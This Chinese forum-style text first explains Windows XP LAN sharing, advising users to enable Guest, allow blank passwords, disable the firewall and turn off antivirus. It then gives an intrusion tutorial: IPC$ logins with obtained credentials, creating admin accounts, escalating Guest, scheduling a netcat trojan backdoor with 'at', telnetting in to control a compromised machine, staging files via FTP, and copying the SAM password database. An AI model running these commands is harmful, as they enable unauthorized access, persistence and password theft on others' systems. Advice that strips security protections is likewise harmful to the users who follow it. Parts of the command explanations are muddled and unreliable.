1、取消默认的“简单文件共享”
双击我的电脑/工具/文件夹选项/查看，将“使用简单文件共享（推荐）”
前面的√去掉。
2、设置同一工作组
右击我的电脑/计算机名，若工作组相同，如WORKGROUP，则可。否则，网络
ID/下一步/本机是商业网络的一部分，用它连接到其它工作着的计算机/下
一步/公司使用没有域的网络/下一步/设定工作组，下一步/完成。或开始\
程序\附件\通讯\网络安装向导……
3、一添二删除
开始/设置/控制面板/管理工具/本地策略/用户权利指派
①从网络访问此计算机，添加Guest用户。解决其它WinXP无法访问WinXP电
脑的问题。
②拒绝本地登录、拒绝从网络访问这台计算机，删除Guest或所有用户。解
决Win 98不能访问Win XP的问题。
4、更改网络访问模式
开始/设置/控制面板/管理工具/本地策略/安全选项
①网络访问：本地帐户的共享和安全模式，设置为“经典－本地用户以自己
的身份验证。
②帐户：使用空白密码的本地帐户只允许进行控制台登录－禁用。解决空白
密码不能登录问题。
③帐户：来宾状态－已启用，若有连接外网，可设“已停用“
5、禁用WinXP的计划任务服务（Task Scheduler）（看着办，可改可不改
）
开始/设置/控制面板/管理工具/服务，打开“Task Scheduler”的属性对
话框，单击“停止”按钮停止该项服务，再将启动类型设为“手动”（右击
Task Scheduler /属性）
6、设置成同一网段
开始/设置/网络连接/本地连接/属性/Internet协议（TCP/IP）/属性，使
用下面的IP地址，如，IP地址：192.168.1～255 子掩码：255.255.255.0
默认网关：192.168.1.1
7、添加NetBEUI协议
将WinXP安装光盘“\VALUEADD\MSFT\NET\NETBEUI”目录下的NETNBF.INF、
NBF.SYS复制到软盘或某一文件夹。开始/设置/网络连接/本地连接/属性/安
装/协议，从磁盘安装/确定，OK！
8、选定连接使用项目
①开始/设置/网络连接/本地连接/属性，将Microsoft网络客户端、
Microsoft网络的文件和打印机共享、QOS数据包计划程序、NetBEUI、
Internet协议（TCP/IP），全部勾选，确定。
②开始/设置/网络连接/本地连接/xx连接/属性/网络，将Internet协议
（TCP/IP）、QOS数据包计划程序、Microsoft网络的文件和打印机共享、
Microsoft网络客户端，全部勾选，确定。
9、设置共享文件夹或磁盘
右击文件夹或磁盘/共享和安全，点选“共享此文件夹。其中可设置网络访
问该文件夹的权限，权限有：完全控制、更改、读取三项。
10、删除注册表中的两个子键（看着办，可删可不删）
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Exp
lorer\RemoteComputer\NameSpace” 下
①{2227A280-3AEA-1069-A2DE-08002B30309D}（此键决定网上邻居是否要
搜索网上的打印机，甚至要到Internet中去搜寻，如果网络中没有共享的打
印机便可删除此键）；
②{D6277990-4C6A-11CF-87-00AA0060F5BF}（此键决定是否需要查找指定
的计划任务，这是网上邻居很慢的罪魁祸首，必须将此子健删除）
11、创建共享用户(视情而定，一般情况不用设置)
单击“开始→设置→控制面板”，打开“用户帐户”，创建一个有密码的用
户，假设用户名为user00，需要共享资源的机器必须以该用户共享资源。
接下来设置要共享的目录。设置只有用户user00可以共享的目录下的资源：
用鼠标右键单击要共享的目录，单击“共享和安全”，选择“共享→共享该
文件夹”，点击“权限”，单击“删除”按钮将原先该目录的(everyone)删
除，再单击“添加”按钮，依次单击“高级→立即查找”，选择用户user00
，单击“确定”添加用户user00添加，并选择用户user00的共享权限以后局
域网中的计算机要想查看该共享文件夹中的内容，只有输入正确的用户名和
密码，才能查看或修改共享文件夹中的内容。
12、关闭防火墙
13、以上设置若还不能实现互访，可将杀毒软件关闭试试。安装卡巴斯基杀
软的，卡巴开启，设置/配置实时监控/高级设置/网络攻击防御，若勾选了
使用隐藏模式，网上邻居将无法互访，提示没有权限。
入侵命令详解
1：NET
只要你拥有某IP的用户名和密码，那就用IPC\$做连接吧！
这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为
127.0.0.1
net use [url=file://\\127.0.0.1\ipc\$]\\127.0.0.1\ipc\$[/url] 123456 /user:hbx
null密码为空
退出的命令是net use [url=file://\\127.0.0.1\ipc\$]\\127.0.0.1\ipc\$[/url] /delete
net share是查看主机共享资源我们用它建一个秘密共享目录吧net share
me=c:\winnt\system32
这样这个机器就有了一个名为me的共享目录，而打开它就是winnt下的
system32目录，如果你用win2000的系统就知这个目录有多重要了，如果不
想要也好办net share me /delete 呵呵，没有了，是不是很方便的啊。
下面的操作你必须登陆后才可以用.登陆的方法就在上面.
下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户.
我们加一个heibai的用户密码为lovechina
net user heibai lovechina /add
只要显示命令成功，那么我们可以把他加入Administrator组了.
net localgroup Administrators heibai /add
这里是讲映\*对方的C盘，当然其他盘也可以，只要存在就行了.我们这里把
对方的C盘映\*到本地的Z盘.
net use z:\\127.0.0.1\c\$
net start telnet
这样可以打开对方的TELNET服务.
这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道
是否这样，我的2000就是删除不了它。
net user guest /active:yes(特别注意:这个命令是把原来被禁用的guest
帐户再次激活)
net user guest /active:no这样这个guest的用户就又被禁用了
这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用
户也可以的。只要有权限就行了呀！
net user guest lovechina
有人问到提高权限的问题 下面就解决下
net localgroup administrators guest /add
将guest变为administrator
net命令果然强大啊！ net view命令看对方开了共享
net user是查看所有用户列表，看看哪个用户是和你一样偷跑进来的，给他
名给删掉，让他美，
net user 用户名/delete哈哈,他没有了,管他什么是不是管理员呢,不过我
们还是查一下管理员组有什么用户吧,这样的用户才对我们有用嘛 net
localgroup
administrators就列出管理员组成员了,再查看一下administrator这个用
户，因为这个是创建系统时建出来的，所以要看看他的系统是什么时间创建
出来的
net user
administrator，然后再查看别的管理员用户是什么时间创建的，如果相差
太远，那可能是被别人偷偷跑来偷建的，一律del，安全第一
哦................
2:at
一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去
，怎么启动他呢？
那么需要用AT命令，这里假设你已经登陆了那个服务器。
你首先要得到对方的时间，
net time [url=file://\\127.0.0.1]\\127.0.0.1[/url]
将会返回一个时间，这里假设时间为12:1，现在需要新建一个作业，其ID=1
at [url=file://\\127.0.0.1]\\127.0.0.1[/url] 12:3 nc.exe
这里假设了一个木马，名为NC.EXE，这个东西要在对方服务器上.
这里介绍一下NC，NC是NETCAT的简称，为了方便输入，一般会被改名.它是
一个TELNET服务，端口为99.等到了12:3就可以连接到对方的99端口.这样
就给对方种下了木马.
at命令功能强大,下面可以打个比方:
C:\> AT 22:30 Start C:\prettyboy.mp3
新加了一项作业，其作业 ID = 1 [现在我们新建立了一个任务 在22:30分
系统将自动播放歌曲]
3:telnet
这个命令非常实用，它可以与远方做连接，不过正常下需要密码、用户，不
过你给对方种了木马，直接连到这个木马打开的端口. telnet
127.0.0.1 99这样就可以连到对方的99端口.那你就可以在对方运行命令了
，这个也就是肉鸡.
4:FTP
它可以将你的东西传到对方机子上，你可以去申请个支持FTP上传的空间，
国内多的是，如果真的找不到，我给www.51.NET，不错的.当我们申请完后
，它会给用户名，密码，以及FTP服务器.
在上传前需要登陆先，这里我们假设FTP服务器www.51.NET，用户名是
HUCJS，密码是654321 ftp www.51.net
他会要求输入用户，成功后会要求输入密码.
下面先说上传，假设你需上传的文件是INDEX.HTM，它位于C:\下，传到对方
D:\
get c:\index.htm d:\
假设你要把对方C盘下的INDEX.HTM，下到你的机子的D盘下
put c:\index.htm d:\
这里的问题是两个命令的解释正好弄反了，登陆ＦＴＰ服务器后get才是下
载，而put命令是上传，这和tftp的命令正好相反，在tftp命令里get是上传
put是下载，这下明白了吧，而且在ＦＴＰ服务器中不能用c:\和d:\这样来
指明路径，这也是在tftp里面用的方法，FTP可不会执行的，不信你去试好
了，正确应该这样上传文件put
index.htm这样就足够了，装c盘根目录下的index.htm文件上传到FTP服务
器的当前目录下，不喜欢就del
index.htm删掉这文件，下载时先查看一下目录，dir然后看这个目录里有什
么，有你要的你就get
index.htm这样就把index.htm这个文件下载到你自己的c盘根目录下了。
get index.htm
c:\inetpub\wwwroot\index.htm（这里是把你空间上的index.htm下载到对
方的c:\inetpub\wwwroot\index.htm）"
5:copy
下面我说说怎样把本地的文件复制到对方硬盘上去， 需要建立好IPC\$连接
才有效。
这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下
copy index.htm [url=file://\\127.0.0.1\c\$\index.htm]\\127.0.0.1\c\$\index.htm[/url]
----------------------
如果你要复制到D盘下 把C改为D， 就行了！
copy index.htm [url=file://\\127.0.0.1\d\$\index.htm]\\127.0.0.1\d\$\index.htm[/url]
如果你要把他复制到 WINNT 目录里
就要把输入
copy index.htm [url=file://\\127.0.0.1\admin\$\index.htm]\\127.0.0.1\admin\$\index.htm[/url]
admin\$是winnt
要把对方的文件复制过来，顺便告诉大家 NT的备份的数据库放在
x:\winnt\repair\sam._ sam._是数据库的文件名下面就把127.0.0.1的数
据库复制到本地C盘下copy [url=file://\\127.0.0.1\admin\$\repair\sam]\\127.0.0.1\admin\$\repair\sam[/url]._ c:\这个
sam._这明显是NT主机的口令档，如果是win2000机器的口令文件应该是sam。
|
